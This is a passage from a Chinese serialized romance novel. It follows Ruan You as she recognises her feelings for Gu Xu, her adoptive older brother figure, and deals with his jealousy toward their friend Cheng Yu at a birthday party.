她很好奇,也几乎从来没有想过。 只是从前顾叙常说,他不会陪伴自己太久。当时阮柚懵懵懂懂,不知道具体为何意,可当此刻直面这个问题时,她竟然胆怯地不敢去想象。倘若顾叙要和别人结婚,他还会对她这么好吗? 他还会注视她吗? 阮柚明白,到那个时候,她就不再是他的特别了。 顾叙隔了半晌,说,“我也不知道。” 阮柚唇瓣抿紧了些,却仍是隔着电话问,“你有喜欢的女孩子吗,哥哥?” 一室寂静。 朦胧的月光缓慢落在眼前,阮柚低头看着手背细细的纹理,呼吸似乎也格外清晰。 这一刻,她有点后悔听到答案了。 而正是这份真切的后悔,也让她终于确定了一件事。 ——她喜欢顾叙。 真的真的真的很喜欢。 阮柚垂了垂眼。 本以为顾叙不会立即回答自己,可仅仅隔了半晌,阮柚便听见少年突地笑了下,“嗯,有的。” 他很坦然。 闻言。 阮柚神情瞬间紧绷,心跳作乱。 她的心情也随之跌进谷底、阴云密布。 是吗…… 她低低颤了颤睫毛,没由来的失望浮现心间,却不想让对方察觉分毫。 阮柚阖了阖眼睛,半晌却接着说,“能不能告诉我,她是个什么样的人呢?” 顾叙沉默了几秒,说:“她…和你很像。” 阮柚却有些听不下去了。 她嗯了一声,不动声色将话题转开。 草草搪塞了理由结束电话,阮柚握紧手机,眼睛又干又涩。 顾叙有喜欢的人了,她好像真的真的要失去顾叙了,但这次,她什么办法都没有,只有难过。 阮柚心底异常难过,安静躺在床上,内心空荡荡。她好像没什么资格难过,毕竟在顾叙眼里,她只是他妹妹,听见对方有喜欢的女孩子,应该送上祝福才是。 房间没开灯,黑压压一片。 阮柚心头酸涩,脑海却涌上一个念头。 她亮起了手机屏幕,发给了顾叙,“祝你能早日得偿所愿。” 发完后,阮柚将脸蒙在了被子里。 空气闷涩,却隔绝外界一切。阮柚听着自己的呼吸,平生第一次,有点讨厌自己的违心。 而这次,顾叙不知道为什么,一直没有回信。 阮柚跟着西泽先生拜访了几位名师,结束后,西泽先生骄傲又欣慰地告诉阮柚,“他们都很欣赏你的天分。” 阮柚颔首,也感到尘埃落定后的轻松,“谢谢你。” 回国那天,是个阴雨天。飞机几次延误了班机,阮柚迟了三个多小时才坐上了飞机。 舷窗中映着她安静的侧脸。无聊的间隙,她终于彻底把时间留给了自己。阮柚看着镜子里的自己,发现不知何时起,彻底褪去了稚嫩,眉眼更艳、下巴更尖,长开了不知一丁半点。 阮柚抿了抿唇,发觉唇色有点苍白,从包里掏出唇釉来。 落地后,她取回托运的行李,出来后没多久就看见的顾叙。少年头发修短,轮廓更深邃,没有表情站在那里,竟透出些许冷清的气质。但这只是倏忽的错觉,四目交接后,他弯起唇笑了起来。 阮柚心跳失了半拍,快步朝他走进,却在最后,倏然止住了抬手的动作。 她抿紧了嘴唇,缩回想要拥抱的手。 少年怔了下,面色如常地说,“欢迎回来。” 阮柚敛神,浅浅地嗯了一下。她知道自己的不自在源于何处,无从谈起的情愫就这样放大了两人相处的细节,一时间,阮柚脑子空白一片。 她又不受控制地想起,顾叙有喜欢的女孩了。 即便没在一起,她是不是该远离他呢……? 就这样心不在焉地回到了住的宿舍。 阮柚手指刚刚碰上了扶手,就有什么东西掉在了地面。 阮柚弯腰捡起来,不由皱了皱眉头。是一叠信封,偏厚,不知道装着什么。 她犹豫片刻,带了进去。收拾完行李,阮柚坐在椅子上休息,低低一看,恰好看见刚才的信封。 她不假思索地将信拆开。 而后,目光一顿。 是几张照片……都是她和顾叙相处的时刻。 阮柚不明所以,却隐约有股被什么东西窥伺的不适感。 但是她翻看了一遍又一遍,仍是没有发现署名,根本不知道是谁寄过来的。 心间惦记这件事,阮柚心头久久难以平息。 但她太累了,洗漱一番过后,沾床没多久便睡了。 这次,她做了一个梦。 好似平行的世界,阮柚看见自己过着截然相反的生活。 生活枯燥无味,却同样充满着爱。 梦中的她最后许愿,“我想要自由的活着。” 醒来后,阮柚心脏空空荡荡。 胃部饥饿难耐,她清醒了头脑过后,索性找出几片面包来。然而翻柜子的时候,却从柜子翻出一块银色怀表。 阮柚低头看了眼掌心的秒表,冰冰凉凉,让她不由颤颤睫毛。 这个怀表……不属于她。 阮柚宿舍被陌生人进过。调了监控,宿敌,发现那段监控被人为的删掉了。 宁糖神色担忧,却不忘疑惑,“不应该啊。” “嗯?”阮柚看向她,“怎么了。” 宁糖:“学院宿舍都有人脸识别的,再不济也有指纹。怎么会找不出来那个人是谁呢。” 阮柚其实也纳闷。 况且她宿舍的物品什么都没丢,除了多了个一个时间定格在十二点的怀表。 但她又想起了那封信。 她恍惚一瞬,迟钝反应了过来。 不会两者有联系吧? 但宿舍一时半会儿也是住不了了。 宁糖宿舍是双人间,正好缺一人,阮柚顺利成章地搬进了宁糖的宿舍。 宁糖很开心,一直叽叽喳喳说个不停。 阮柚弯了弯唇,心里也很高兴。 对方是宁糖,不是别人。而且她有了舍友,也许就不会再孤独了。宁糖的宿舍打理的很干净,井然有序、窗明几净。窗帘前挂着贝壳做成的项链,宁糖说,“如果你喜欢,我可以带你一起去捡贝壳。” “好呀。” 阮柚很有兴趣。 出门后没多久,她遇见了成玉。 成玉难得穿了一身校服,头发却仍是浅浅的金,气质强烈的冲击感。 他一见到阮柚就自来熟打了个招呼,露出白皙的牙齿,“学姐,下午好。” 阮柚浅浅嗯了一声。 末了,她忽地听见成玉问,“你手上是什么。” 阮柚一怔。 看了眼腕上的红线。 “这是我朋友送给我的。” “做什么用的?” 成玉挑了挑眉,眉眼间是明显的好奇。 阮柚抿了抿唇,脑海忽地飘来宁糖对自己说的话。 ——戴上这个,可以让喜欢的人看见自己。 怀着复杂的心事,阮柚犹豫了会儿,最后还是戴上了。但骤然听见成玉这么问,她张了张唇,平生第一次有些难以启齿起来。 成玉稍稍弯下了身,狐疑问,“奇怪,怎么脸红了?” 他伸手戳了戳她的耳根。 冷不丁被这么一碰,阮柚颤了颤睫毛,登时炸了毛,“你做什么!” 可少女眼睛圆圆的,睫毛长长的像是小刷子,就算是生气,也是丝毫没有什么威慑力,反而让他愈发生出逗弄的兴味。 成玉拖着嗓子:“你心虚什么啊。” “你才心虚呢。” 阮柚护了护手腕,低头,听见成玉在旁边慢悠悠地问,“这个反应,不会有什么秘密藏着不说吧。” 阮柚闻言,神经绷紧了下。 但仅是一瞬,她知道成玉在故意挑拨她的情绪,所以竟平静了下来。 “都说是秘密了,为什么要告诉你?” 被这么反呛了下。 成玉怔然一瞬,突地笑起来。 他忽然想起了什么,“对了,你这几天见到顾叙了吗?” 阮柚一怔,摇头。 成玉:“好吧。” 阮柚不知道成玉问这个做什么。不过也是提醒她了,她想见顾叙了。 然而给顾叙打电话,对方头一次没有接听。她垂了垂眼,看着手机屏幕,心情有点乱。 次日,阮柚去练琴。宁糖刚好在附近兼职,两人闲暇约着去附近的咖啡厅。 下了车。 宁糖在广场朝她挥手打招呼。 阮柚走了过去。 日光正盛,但并不刺眼,扫在身上暖暖地,这样的天气很难让人心情不好。 广场有旅客在喂鸽子,中央还有街头艺术家吹笛子,声音悠长、极为动听。 阮柚和宁糖停留听了一会儿。 而后,两人便去了那家咖啡店。 这是阮柚无意间发现的,环境清幽,还放着极为动听的钢琴曲。 阮柚和宁糖谈天说地。 临近到了门口,她余光微微一扫,忽地愣了一下。 宁糖发觉出她的怔愣,偏头看她,“嗯?怎么不走了?” 阮柚咬了咬唇。 一时没说话。 宁糖觉察出异样,顺着目光就这样看了过去。 斜刺里,透过咖啡店落地窗。 顾叙坐在那里,低头神色看不分明。而他的对面却坐着一个卷头发的女孩子。 时间在流动。 阮柚重重捏了捏手心,尚未来得及收回视线。下一瞬,对方若有所觉,就这样侧过了视线。 目光交汇。 不止是阮柚,就连顾叙也怔住了一瞬。 第92章 第九十二章 顾叙篇 透过了窗, 她同顾叙隔空对视。 阮柚呼吸僵了一瞬,一股异样情绪就这样占据了心头。 但最后,阮柚捏了捏手心, 还是选择走了进去。 她勉强地扯了扯嘴唇,偶尔察觉到斜刺那处若有若无的视线。 内心说不出的乱。 直到余光扫见那里位置的空缺,才稍稍松了松呼吸。 阮柚垂了垂睫毛, 听见宁糖关心地问起, “阮柚,身体不舒服吗?” 她脸色实在很差, 没什么血色的白,只有唇瓣被咬的红艳,小小的齿印几乎陷了进去。闻言,阮柚抬起了视线, 掌心贴着温热的咖啡,沉默了下来。 就在宁糖以为再等不来她的回应时, 蓦地听见阮柚小声地问, “宁糖, 你有喜欢的人吗?” 宁糖一怔。 少女情思, 春心萌动。在青春期却是个敏感至极、撩拨神经的话题。尤其对于宁糖这样内敛的人。她耳根热了热, 即刻摇摇头,“没有。” 说罢,她对上了阮柚的视线, 问, “你……” “你有喜欢的人吗?” 阮柚瞳仁微烁, 蜷绕着手指,喉咙间低低地嗯了一声。 话落,将心思骤然剖开, 心跳也仿若失了半拍。 几乎冲刷了之前酸酸涨涨的情绪。 阮柚喜欢他,很喜欢很喜欢。但是,她有点失落地说,“他已经有喜欢的人了。” 宁糖:“他告诉你的吗?” 阮柚垂了垂睫,有点失神地整理着衣衫褶皱。咖啡厅正放着悠长的轻音乐,调子有些悲伤,夹杂着遗憾的气息。很应景,但她却分毫听不下去。 呼吸变得更乱。 宁糖说,“就算是这样,你也要让对方知道自己的心意呀。” “更何况他只是有喜欢的人,又不是真的要在一起。” 宁糖告诉阮柚,喜欢本身就是很美好的事情。所以无论结果如何,总该要让对方知道。不留遗憾。 阮柚明白。倘若是以前的她,她也会这么想。她会坦然地面对一切,但如今不知为什么,面对顾叙,反倒变得畏手畏脚起来。 因为太在意,所以小心翼翼、如履薄冰。 宁糖下午有事回学校。告别后,阮柚回到了来时的广场,坐在长椅上看喷泉。花费重资修建的玫瑰喷泉,细细的水雾挥洒于阳光下,晕开浅淡却绚烂的光。 她喜欢观察水的流动,这令她感到心情平静。 正坐着失神,忽地,眼前覆盖下来长长的阴影。 似有所觉,阮柚心跳仿若失掉了半拍,随之高抬起了视线。 少年清瘦高挑,白皙的下颚半藏在红围巾里,垂下眼皮静静瞧她。 即便没说话,仍令她觉察到无声的温柔。 顾叙低低喊了声,“阮柚。” 阮柚抿了抿唇,她摁了摁手心,强行压住避开视线的念头,对他浅浅地嗯了嗯。 这一刻,她竟然不知道该怎样去面对顾叙。 这样想是不对的,她不应该这样。 顾叙不知道阮柚内心所思所想。但不知为何,他立在她面前,迟迟没有坐下。 沉默一瞬发酵,一发不可收拾。 阮柚迟缓地再度看向他。视线交汇,顾叙说,“抱歉。” 闻言,她呼吸一紧,却仍残存不解,“为什么要道歉。” “刚刚没有第一时间和你打招呼。” 阮柚睫毛微闪,攥紧了掌心,又松开,“没什么,你也要忙自己的事情。” 她言不由衷,语气也干干涩涩。顾叙很敏锐地觉察到了这一点,下意识:“下次不会了,今天是——” 话语倏然悬在半空,对上少女恬静干净的眼神,他忽然意识到什么。 阮柚没必要知道这些。 阮柚听出他的停顿,瞳仁暗了暗。而适时,面前的少年缓慢俯下身来,等她顺着投去视线时,才迟钝发觉对方在给自己系鞋带。 她今日穿了浅色的板鞋,不知何时,两根鞋带松松垂散地面。 顾叙动作慢条斯理,修长手指微曲,极富耐心地打着结。 阮柚呼吸不自觉缓慢了下,明明再自然而然的寻常动作,此刻却被她凭空放大。她有点讨厌这样的情绪,却又难以控制。她甚至想,要是她不喜欢顾叙就好了,不喜欢,就能心安理得接受这份亲密。内心隐秘一角骤然放大,阮柚垂下乌黑的长睫,一时竟失了神。 她低头,一瞬不瞬看顾叙。 而须臾之间。 少年毫无征兆地站起了身。猝不及防,阮柚尚未来得及凝神,温热的气息就这样擦过下颚,顺着半片脸颊划过了她的耳尖。 呼吸骤然紊乱,阮柚脊背僵直,细细麻麻的热意就这样泛滥肌肤。 刚才…… 顾叙一怔,目光交汇那刻,呼吸跟着一烫。 只是偶然,但何其暧昧。 “对不起。” 他说,又欲盖弥章。 “没关系!”阮柚绷紧了神经,站了起来,语气硬邦邦。 她强行将混乱思绪一扫而空,“谢谢你帮我系鞋带。” 这样的意外属实有点尴尬。可直到晚上临近睡觉,阮柚躺在床上,那段画面还是不受控制地往脑海里钻。 黑漆漆的空气,阮柚发热的脸塞进了枕头,心跳怎么也止不下来。 呜呜呜快忘记呀! 尝试平静下来,她稍稍抬了抬视线,听见宁糖很轻地问,“阮柚,你也没睡吗?” 阮柚闻言,嗯了下。 “睡不着。” “我也是。” 隔了半晌,宁糖问,“你告诉他了吗?” 阮柚听着,藏在黑夜的睫毛颤了颤,“没有。 宁糖嗯了下,并未说什么。但隔了几秒,她说:“其实我今天骗了你。之前,在我还没来这个学校时,喜欢过一个人。” 对方似乎陷入冗长回忆,声线也软了下来。 所幸长夜寂静,即便声音再微弱,也能清晰无误地捕捉到。 阮柚心静了静,很轻地嗯了下。 宁糖:“他每天都会来找我,直到有天,再也没出现。我妈妈后来告诉我,他下海捞珍珠,再也没回来。” 阮柚呼吸一滞,心脏好似被攥了一下。 宁糖最后说,“我好后悔。” 她后悔那日许下了愿望是想要一串珍珠项链。 如果再有一次机会,她一定不会说这句话。 所以她劝阮柚,珍惜说出口的机会,不留遗憾。宁糖把它当成秘密,是从未和旁人诉说的心事。 黑夜里,阮柚低低地说:“如果他还在,他一定希望你幸福开心的生活下去。” 因为喜欢。所以即便看不到结局,也希望对方能够过的好。 宁糖眼眶一热。 听见阮柚说,“所以,这不该成为你的心结,宁糖。” 宁糖瞳孔微闪,很低地嗯了一声。黑夜无声息放大了所有感官,她尤其庆幸能遇见阮柚,也有了诉说的勇气。 作为交换,阮柚翻了个身,说,“我可以告诉你,我喜欢的人是谁。” 宁糖下意识嗯了一声。 阮柚呼了一口气,并非出于冲动,而是放缓的情绪。 ——其实没那么不可说,对么? “是顾叙。” 闻言,宁糖一愣。顾叙,那位惊艳绝伦的钢琴天才。 同时,也是阮柚的,哥哥。 / 阮柚坐在休息室,戴耳机听歌。 看着书,脑海里却想着是另一件事。 成玉要过生日,组了个局,邀请她去。 彼时,正是田径场。 日光正盛,澄净的光线照得阮柚有点睁不开眼,直到成玉走来,她才放下遮阳的手。 “后天我生日,来不来?” 阮柚想都不想,“不去。” 成玉懒懒散散:“好,等你。” 阮柚:……? 她抽了抽嘴角,抿唇定定瞧他,懵懵懂懂,又格外严肃。 成玉喉咙泛痒,莫名起了逗趣的意味,“我朋友都想见见你。” 阮柚一怔,无声指了指自己。她?? 成玉见状,忽地笑出了声。 不知那里戳中他笑点,少年唇角勾着,肩膀都在跟着颤。 阮柚一团黑线。后天说有时也是有时,说没事也确实没事。她要去练琴,但只有一个上午。 “你哥哥也会去哦。” “你不是很想他吗?”他说。 像是被戳中什么心事,阮柚颤了颤睫毛,眼神飘忽了瞬,“他去不去关我什么事啊。” 话落。却愈发有点底气不足。阮柚揪了揪手指,飞速敛神,生怕露出些许破绽来。 尤其是成玉面前。 少年眼神犀利,似乎戴着放大镜,近乎对一切一览无余。 阮柚将这归于他很无聊,无聊到想要尽可能寻乐子。 然而这次,成玉却难得清净下来。他抬手摸了摸下巴,似想起什么。略思索着,“之前我和顾叙说,生日局会来很多男生,顾叙听了,你猜他说什么?” 阮柚呼吸莫名微屏,面上却分毫不显。 只干巴巴问,“为什么。” 成玉笑了下,“他说,那就不要让你来了。” 阮柚闻言,睫毛颤了颤。她下意识想着两者的联系,精神却不自觉绷紧起来。 心跳不会骗人。 她抿了抿唇瓣,沉默了会儿,竟不知该做什么反应。 “然后,我问他为什么。”成玉慢悠悠地说,但下一瞬,手机铃声骤然打断了他的话。 阮柚没有听见剩下的话。 她不受控地想,为什么呢?原因,顾叙能亲口告诉她吗? 不知为何,心口发热。 她也因此决定去参加生日局。 那天,阮柚起了个早,练完琴,回去画了个淡妆。 宁糖以为她要出去约会,激动又紧张地从椅子上跳下来,帮她搭配衣服。 自从得知阮柚喜欢的人,她从道德伦理考虑到世俗眼光,大脑飞速运转之际,却忽然被告知一件事。阮柚和他并没有什么血缘关系。 “原因其实很复杂。” 当时,阮柚还没有彻底做好袒露身世的准备。 宁糖也没去追问。她想见到的,就是阮柚能够得偿所愿。 阮柚见状愣神,告诉她不是去约会。 宁糖有点失望,“真的吗……” “是哦。”阮柚摸了摸鼻尖,其实还是有一点点的不自然。她似乎从未真正意义上喜欢过谁,但她依稀发觉,喜欢一个人会让人变成胆小鬼。 她打车到了目的地。 是一片很私密的地方。坐落市郊,要穿过一片寂寥的人工湖。 透过车窗,阮柚看见波光粼粼,内心也随之平静。 二楼是半露天的看台,也是最终目的地。 阮柚看了眼顾叙发的信息,回了句,“我先去趟卫生间。” 对方很快回了句好。 离开前,她洗过了手,用纸巾擦了擦手。 镜子里的她被灯光照得极白,她蹙了蹙眉,从包里掏出唇膏来。 粉嫩的颜色,细细润过唇瓣。 阮柚抿了抿唇,确定提了几分气色,满意地离开了盥洗室。 然而,出了门走了一段路—— 忽地,她不经意听见了一段谈话。 谈话是从一扇虚言的房门传来的。她本无意去倾听,可是声音太熟悉了,熟悉到令她不自觉停下了步伐。 “我没请他哥。” “我知道,谢谢。” “谢什么。” 是成玉和顾叙。 好半晌,成玉再度开口,似乎陷入回忆,语调透出几分漫不经意来,“阮柚挺受欢迎的,不少人跟我打听她。” 顾叙慢半拍,语调极淡:“你们很熟?” 成玉啧了声,“怎么不熟了。”他顿了顿,不知为何冷笑了下,“还有人说要当面和她告白……” 阮柚颤了颤睫毛,呼吸凝紧。 而后,却听顾叙说,“别让他们来。” 成玉却安静了几秒,忽笑,“我拦不住。再说了,我怎么不知道,你什么时候控制欲这么重了?” “对阮柚,你的妹妹,嗯?” 第93章 第九十三章 顾叙 第九十二章 阮柚嘴唇抿紧了些, 她应该离开,但是却定在原地,迟迟挪不开脚。 那头沉默了数秒。 满室寂静。角落的香薰飘来淡淡的檀木气息, 顾叙站在窗边,任凉风卷过眉前的乌发。他抬了抬起眼,很轻地说, “就是因为是妹妹。” “嗯?”成玉顿了顿, 没有听明白,“所以呢?” 顾叙却答非所问:“我只想让她遇到真正喜欢的人。” 阮柚闻言, 呼吸都仿若慢了半拍。 胸口酸酸涩涩,膨胀起异样的情绪来。 他又不是她,怎么知道她真正喜欢的人是谁呢?。 阮柚离开了。 她给成玉买了个礼物,是一块手表。令她意外的是, 成玉先拆开了他的礼物。 灯红酒绿,灯光昏沉。少年眼瞳潋滟些许光芒, 没骨头似的靠在沙发, 细细打量手腕上的表。他挑眉, 漫不经心, “哇, 你怎么知道我最喜欢黑色了。” 阮柚本打算努力降低存在感,但成玉这么一说话,一众视线纷纷落在了她身上。 今天来得几乎都是成玉玩的还行的朋友, 清一色的富家子弟, 说话也毫不顾忌, “这是你女朋友?真好看。” 一道声音不经意响了起来。 顾叙皱了皱眉,握紧了手中的被子。 “不是。” 这句话是阮柚说的,几乎是下一秒就否认了。 那男生一愣, 扑哧一笑,“成玉你看,你被人家嫌弃了。” 俨然一副看热闹不嫌事大的表情。 成玉毫不在意,只是说,“你哪里看出我被嫌弃了。” 他好像真的很喜欢这块表,当场戴上,便没有摘下来。 阮柚并未和顾叙坐在一起,却是坐在对面,越过圆桌,只要稍抬眼就能够看见。 可不知为何,她握着手中的杯子,垂睫迟迟没有抬头。 她依稀发觉顾叙在看她,似有似无,不怎么强烈,却难以轻易地去忽视。 直到。 真心话大冒险环节。 阮柚首当其冲。 被指到的那一刻,阮柚思绪还在乱着,慢节奏的背景乐流淌在耳畔,她却一刻也听不进去。她不知道自己究竟是怎么了,她应该和顾叙说说话,可是脑海却总是想起他刚刚的态度。 就像是毫不在意…把自己往外推。 但她知道,顾叙其实什么都没有做错。是她把自己困住了。 思绪放远时,忽地,一道声音从前面响了起来。 “第一个是你啊,阮柚。” 是成玉的声音。阮柚一怔,抬眼便看见银针末端的指向。 正是她。 阮柚呼吸一瞬慌乱,仓皇间却最先对上了顾叙的视线。 人的本能反应是无法骗人的。 在这里,在这群人中,她最在意、也最信任的人就是顾叙。 顾叙恰好也在看她,深灰眼瞳被灯光恍地忽明忽暗,却依稀能感受到柔和。 阮柚嘴唇抿紧了些,莫名心静了静,“这是什么。” 成玉笑,“真心话大冒险,之前玩没玩过?” 阮柚沉默了几秒,颔首。玩过倒是玩过,但已经很久之前了,具体发生的细节也早已经记不太清了。 这时,有人接着问,“所以是真心话还是大冒险?” 阮柚知道逃不过去,凭着本能选择了真心话。 “真心话吧。” “让我想想。”那人摸着下巴思索了会儿,最后却问了个俗到不能再俗的问题,“在场的人里,目前有你喜欢的人么?” 那人问完竟有点紧张。不仅出于好奇,而是阮柚实在是太漂亮的,皮肤白皙细腻,坐在那里精致的就像洋娃娃。他看了一眼,又一眼。 直到成玉踹他脚,才彻底晃过神。 成玉啧了声,语调冷冷的,“你操什么心。” 男生飞速眨眨眼,摸了摸后脑勺,却不小心触碰到发烫的耳廓。 靠,丢脸了。 阮柚闻言还是怔了一瞬。真心话大冒险,问出的问题都是平时不会打探的,因此大胆无边界,她有所准备,但还是不妨碍她的紧张。 顾叙看着阮柚,呼吸随之一紧。 周遭都安静了下来,视线不约而同投落在阮柚身上。 都在默默等待她的答案。 阮柚垂了垂睫毛,沉默了几秒,捏了捏手掌心的肉。 “有。”她的嗓音清泠泠地,很轻,但尤其脆亮。 闻言,空气似乎凝滞了一瞬。 顾叙定定看着阮柚。 今日的阮柚不知为何,话很少,也隐约透着几分疏离的气息。 顾叙忽然发觉,一旦她选择疏远,他就真的什么办法都没有。 而今,听见阮柚的回答,他的心脏莫名抽痛了下。 很疼。 阮柚认识谁呢。 除了他,只剩下另一个人。 答案早已昭然若揭。 一个字激起千层浪。、 男生咽了咽呼吸,忍不住问,“是谁?” 阮柚却忽然变得异常平静,说,“这是下一个问题了。” 男生抿了抿唇,很是无奈地抓了抓头发。 成玉却罕见沉默了会儿。 少年眼瞳黑漆漆地,潋滟忽明忽暗的光芒,似乎在思忖什么。 阮柚并未发觉。只是忽然想出去透透气。 她说做就做,很快找了个理由出去了。 阳台环境冷寂,却足够抚平混乱的思绪。 阮柚呼了口长气,终于冷静清醒了下来。 她不该躲着这样躲着顾叙。顾叙他什么也没有做。 阮柚想通这点,眼神也随之定了定。她原路折返了回去,沿着长廊,却在拐角处迎面撞到了什么。 心跳骤然失掉了半拍。 等阮柚反应过来的时候,湿沥沥的酒水已经撒了她一身。 猝不及防,阮柚大脑登时好似炸了开来。 衣衫瞬间湿漉漉,沁骨的凉意骤然席卷了她的全身。阮柚脸色苍白,听见了服务员慌慌张张地说,“对不起,太对不起了小姐。” 阮柚抿紧唇瓣,浑身的狼狈令她一瞬陷入了短线状态。 直到—— 身上忽地披来了一件外套。 外套裹挟着温热的气息,瞬间将她尽数包围。 隔着薄薄的面料,那人的手牢牢缚在自己的右边一侧的肩膀。 顾叙安静靠拢过来。 似觉察到她的无措,嗓音放的很轻很轻,“跟我走。” 阮柚睫毛颤了颤,下意识握住了顾叙的手。 少年身上有淡淡的松香,即使偏冷调,也令人有种安定下来的力量。 顾叙握紧了她,十指紧扣,掌心温热熨帖过来,心跳仿佛随肌肤交缠躁动。 他垂了垂眼,强压下来心头的混乱,对阮柚说,“换件衣服就好了,不要怕。” 他想起那一幕。 少女浑身湿透,就好像无家可归的小猫。 令人心疼。 顾叙带阮柚去了最近的休息室。他打电话让人送了件衣服,阮柚接过来,却定定站在原地看顾叙,眼瞳说不出的悠长安静。 顾叙:“怎么了?” 阮柚抿了抿唇,却说:“谢谢。” ——他为什么总能在自己最需要的时候出现? 她要怎么才能不喜欢他? 阮柚去了更衣室换衣服,衣服除尽,却愣了愣。 那人送来的是一件水蓝色的长袖连衣裙,针织款,收腰的设计。 毫无争议是好看的。但是…… 俯身穿上后,阮柚对着镜子,脸颊莫名的有点发热。 裙子尺码不太对,领口垂的过低,半束在胸前,好像稍不留神就会走光。 她抿了抿唇瓣,一时穿也不是,脱也不是。 就在原地干站着。 直到。 外面传来了顾叙的声音,似是很寻常的一句关心,“阮柚?” “怎么了?” 阮柚呆的时间有些长了,顾叙抬了抬视线,问出了声。 那头沉默了几秒,传来了声音,“哥哥。” “你能不能……再把外套借我一下。” / 隔了半晌。 成玉挑眉,视线来来回回,“发生了什么?” “不小心撞到了酒。”阮柚解释,不知为何,喉咙干干涩涩,脸颊闷得发热。 成玉定定看了几秒,问,“没受伤吧?” 阮柚摇头,“没有。” “那就好。”成玉神色松了松,余光扫向顾叙,忽地想到了什么。 “对了,顾叙,刚刚伯母给我打了个电话。” 成玉语调漫不经心,像是不经意的闲谈。 可阮柚视线一直分在顾叙那边,她不难发觉,在听见成玉说的那句话时,顾叙身形一瞬的僵硬。阮柚抿紧了唇瓣,安静看向了身侧的顾叙。 顾叙喉结松了松,“怎么了?” 不知为何,成玉看了阮柚一眼,说,“孟家那位又找来了。” 闻言,阮柚眼皮一跳,心思忽然泛了空。 顾叙静了几秒,说,“我来和她说。” 他眉头皱了又松,说了句抱歉,就走到了旁处打电话。 阮柚看着顾叙的背影,心里怎么也不是滋味。她不傻,自然能从对话中品出什么。 她抿紧了唇瓣,心脏莫名酸酸涩涩,是她很讨厌、排斥的感觉。 她正失神,眼前忽地晃过来一只手。 阮柚颤了颤睫毛,凝神,听见成玉突然笑了起来,“不会真让我猜对了吧。” 闻言。 阮柚心脏仿若漏半拍,收回视线,转而看向了成玉。 “什么……?” 成玉弯腰凑近,近到似乎能够看见彼此间根根分明的睫毛。 他笑,但笑意并不深,依旧很浅薄,就好似只是一个无伤大雅的玩笑一般。 “你喜欢的人,是顾叙么?” 阮柚呼吸一紧,脸颊瞬间滚热,不假思索地飞速否认,“不是!” “怎么可能!” 她连连否认,殊不知在他人眼底,反倒是欲盖弥章。心跳扑通扑通,跳的极快,阮柚本能想要离远一些,怕被成玉听见。 而这时,却见成玉直起了脊背,漫不经心地说,“不是他,那就是我。” 成玉笑笑,“阮柚,原来你喜欢的人,是我啊。” 她呼吸一屏。忽然有那么一瞬间,沉沉坠入少年漆黑的眼底。 仿佛什么心思都快被看穿似的,无处可避。 阮柚不自觉绷紧了神经。 恰在此刻,顾叙的声音从斜刺里响了起来,语调莫名有点冷,“成玉。” 第94章 第九十四章 顾叙篇 第九十四章 阮柚很少见过顾叙这个样子。 此时此刻, 少年眉目漆黑,周身泛着浑然的冷意来,他微微垂眸, 就这样挡在她面前。不知为何,阮柚心脏紧绷了一瞬,下意识抓住他的袖子。 “没什么的。” 她不知道顾叙为什么会这样, 但是她能够感觉出, 顾叙正在生气。 阮柚不由得想。 ——他听见了什么? 听见了他们谈话的全部,还是仅仅冰山一角? 无论是什么, 这都足以让阮柚思绪开始混乱,她甚至有点后悔今天来这里了。 顾叙静了几秒,却说,“顾叙。别来招惹她。” 他眼底没什么情绪, 浑然天成的冷,薄白的手背青筋凸起, 在克制隐忍什么。 他知道。自己不该这样。可当他听见成玉说的那句话时, 脑海却嗡嗡作响, 一股无名火腾上了胸腔, 再无理智可言。 就好像……要被抢走什么一般。 顾叙一直以来都是一个很平静的人, 为人处世云淡风轻、温和有礼,从未有如今这般情绪外露的时刻。成玉挑眉,心底划过几分异常, 眉梢却更是染上笑, “顾叙, 你用什么身份说这句话呢。” 他走近了几步,乌黑睫毛轻轻垂下,“兄长?” 而后, 用只有两人听见的话说着,“还是恋人?” 顾叙呼吸一紧,怒火混杂着破坏欲,就这样猛地推开成玉的肩膀。 成玉脊背撞向冰冷的墙面,撞得很疼,唇边却依旧带笑。 一瞬不瞬的看着顾叙,几乎要把他盯穿。 是人都会有欲望。很小的时候,成玉就明白,人就是欲望堆积的产物,没有谁会例外。只是后来他见到了顾叙,少年好似一张白纸,温柔至极,对谁都毫不轻慢、极有礼貌。 但他就是觉得虚伪。 如今看来,他没有错。 顾叙喜欢阮柚。不可思议,又并不令人惊讶。 阮柚眼皮一跳,见状再也坐不住,立刻上前拉住了顾叙。她哪里见过顾叙这副模样,心头没由来的慌乱。极其难熬,而这股难熬的情绪几乎将她淹没了。 她拉住了顾叙的手腕,瞳仁闪烁,鼻腔却莫名涌起丝丝酸涩来。 “哥哥。对不起……” 周围有人路过,闻到空气里若有若无的火药味,不自觉停下了脚步。 但有人却很快认出,忍不住关切问,“怎么了这是?” 顾叙听见了阮柚的声音,呼吸静了又静。 少年深黑眼底闪过一丝痛苦来,却转瞬即逝,低头无人发觉。 他闭了闭眼,而后看向了阮柚,喉结滚动,“说对不起给应该是我。” 阮柚站在了原地,张了张唇,却近乎什么也说不出来。 她不想这样,也从未想过会发展成这样,内心涌起些许愧疚。 她揪着裙摆,心里难受,眼眶不自觉红了起来。 成玉看着阮柚,眉毛皱了皱。 阮柚想提前回去。 顾叙跟在了她身后,外面是一道下坡的道路。天已然黑了下来,只有路边偶尔的灯火,斜斜着落,照得少女背影小小的,很是孤独。 顾叙却忽然想到了初见。 雨水迷蒙,阮柚踩在了水里,却仍然浑然不知。他一直没说的是,她有一双很灵动的眼睛,无声无息潋滟光芒,哪怕只是对视几秒,也能令人深陷、无法抽离。 什么时候不敢去对视的呢? 顾叙不知道。也不知道是不是被刻意遗忘、逃避。 天色漆黑,夜空没有星星,只有一轮皎洁明月。远离了市中心的繁华灯影、车水马龙。这里愈发静悄悄,连风都比之前寒凉。阮柚不自觉裹了裹外套,整理好情绪,却忽然想起了什么。 她回头,问,“冷吗?” 如今,顾叙的外套在她身上,顾叙只穿了一件薄白的毛衣。 灯光扫在他修长冷白的脖颈,整个人愈发清瘦,神情透出几分苍白来。 阮柚心一阵揪疼,不由分说地想要脱下来。 少年却察觉他的动作,上前拉住了阮柚的手腕,“别。” 阮柚只觉手腕冰凉,他都这么冷了,还说不要外套。 她眉头骤深了一些,可稍稍抬眸,余光却觉察到了顾叙的目光。 不对劲…… 抬头,四目交接。 少年肤色苍白,漂亮的灰色眼睛无声流淌痛苦,却自始至终不放手。 紧紧的,抓住了阮柚。 